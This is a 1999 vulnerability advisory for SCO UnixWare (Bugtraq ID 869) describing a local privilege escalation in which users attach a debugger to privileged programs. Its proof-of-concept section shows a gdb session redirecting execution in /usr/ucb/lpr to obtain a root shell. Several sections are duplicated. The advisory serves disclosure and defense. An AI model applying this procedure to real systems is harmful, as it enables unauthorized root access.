SCO Unixware Privileged Program Debugging Vulnerability
BID:869
Info
SCO Unixware Privileged Program Debugging Vulnerability
| Bugtraq ID: | 869 |
| Class: | Design Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Dec 10 1999 12:00AM |
| Updated: | Dec 10 1999 12:00AM |
| Credit: | This vulnerability was discovered by Brock Tellier <[email protected]>. |
| Vulnerable: |
SCO Unixware 7.1.1 SCO Unixware 7.1 SCO Unixware 7.0.1 SCO Unixware 7.0 |
| Not Vulnerable: | |
Discussion
SCO Unixware Privileged Program Debugging Vulnerability
Unixware's security model includes the concept of privileges. These can be assigned to processes and allow them to perform tasks that otherwise could only be performed by the root user. They allow programs to run with the minimum required privilege (as opposed to running as root). A vulnerability in Unixware's implementation of privileges allows regular users to attach a debugger to a running privileged program and take over its privileges.
Most Unix systems, including Uniware, place a number of restriction on how can regular users interact with setuid and setgid processes. For example they are not allowed to attach a debugger to them and the dynamic linker may ignore variables requesting the preloading of some shared libraries. Unixware's implementation of privileges provides no such protections for privileged programs allowing a user to attach a debugger to a running privileged program which has his same user uid and modifying it.
When a program that is listed in the /etc/security/tcb/privs is executed it is granted the privileges listed there. All a malicious has to do to exploit the problem is find a program listed in that file with the privileges it wishes to gain and executable by him. Example of programs executable by anyone with privileges include: /usr/ucb/w (DACREAD), /usr/bin/getdev (DACWRITE), and /usr/ucb/lpr (SETUID).
Unixware's security model includes the concept of privileges. These can be assigned to processes and allow them to perform tasks that otherwise could only be performed by the root user. They allow programs to run with the minimum required privilege (as opposed to running as root). A vulnerability in Unixware's implementation of privileges allows regular users to attach a debugger to a running privileged program and take over its privileges.
Most Unix systems, including Uniware, place a number of restriction on how can regular users interact with setuid and setgid processes. For example they are not allowed to attach a debugger to them and the dynamic linker may ignore variables requesting the preloading of some shared libraries. Unixware's implementation of privileges provides no such protections for privileged programs allowing a user to attach a debugger to a running privileged program which has his same user uid and modifying it.
When a program that is listed in the /etc/security/tcb/privs is executed it is granted the privileges listed there. All a malicious has to do to exploit the problem is find a program listed in that file with the privileges it wishes to gain and executable by him. Example of programs executable by anyone with privileges include: /usr/ucb/w (DACREAD), /usr/bin/getdev (DACWRITE), and /usr/ucb/lpr (SETUID).
Exploit / POC
SCO Unixware Privileged Program Debugging Vulnerability
Example exploit usage:
bash-2.02$ ./truck 3
UnixWare 7.1 security model exploit
Brock Tellier [email protected]
$ ./gdb /usr/ucb/lpr
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details
GDB 4.15 (unixware2), Copyright 1995 Free Software Foundation, Inc...
no debugging symbols found)...
gdb) break _init
Breakpoint 1 at 0x805036c
gdb) run
Starting program: /usr/ucb/lpr
Program received signal SIGTRAP, Trace/breakpoint trap.
Switching to process 3302]
warning: shared library handler failed to enable breakpoint
Breakpoint 1, 0x805036c in _init ()
(gdb) disassemble
Dump of assembler code for function _init:
0x805036c <_init>: ret
End of assembler dump.
(gdb) set $eip 0x8046b75
(gdb) continue
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
Cannot remove breakpoints because program is no longer writable.
t might be running in another process.
Further execution is probably impossible.
0xbff99a40 in errno ()
gdb) continue
Continuing.
# id
uid=3D0(root) gid=3D1(other)
groups=3D0(root),1(other),2(bin),3(sys),4(adm),5(uucp),6(mail),
7(tty),8(audit),10(nuucp),12(daemon),23(cron),25(dtadmin),47(priv),9(lp)
#
Example exploit usage:
bash-2.02$ ./truck 3
UnixWare 7.1 security model exploit
Brock Tellier [email protected]
$ ./gdb /usr/ucb/lpr
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details
GDB 4.15 (unixware2), Copyright 1995 Free Software Foundation, Inc...
no debugging symbols found)...
gdb) break _init
Breakpoint 1 at 0x805036c
gdb) run
Starting program: /usr/ucb/lpr
Program received signal SIGTRAP, Trace/breakpoint trap.
Switching to process 3302]
warning: shared library handler failed to enable breakpoint
Breakpoint 1, 0x805036c in _init ()
(gdb) disassemble
Dump of assembler code for function _init:
0x805036c <_init>: ret
End of assembler dump.
(gdb) set $eip 0x8046b75
(gdb) continue
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
Cannot remove breakpoints because program is no longer writable.
t might be running in another process.
Further execution is probably impossible.
0xbff99a40 in errno ()
gdb) continue
Continuing.
# id
uid=3D0(root) gid=3D1(other)
groups=3D0(root),1(other),2(bin),3(sys),4(adm),5(uucp),6(mail),
7(tty),8(audit),10(nuucp),12(daemon),23(cron),25(dtadmin),47(priv),9(lp)
#
Solution / Fix
SCO Unixware Privileged Program Debugging Vulnerability
Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
References
SCO Unixware Privileged Program Debugging Vulnerability
References:
References: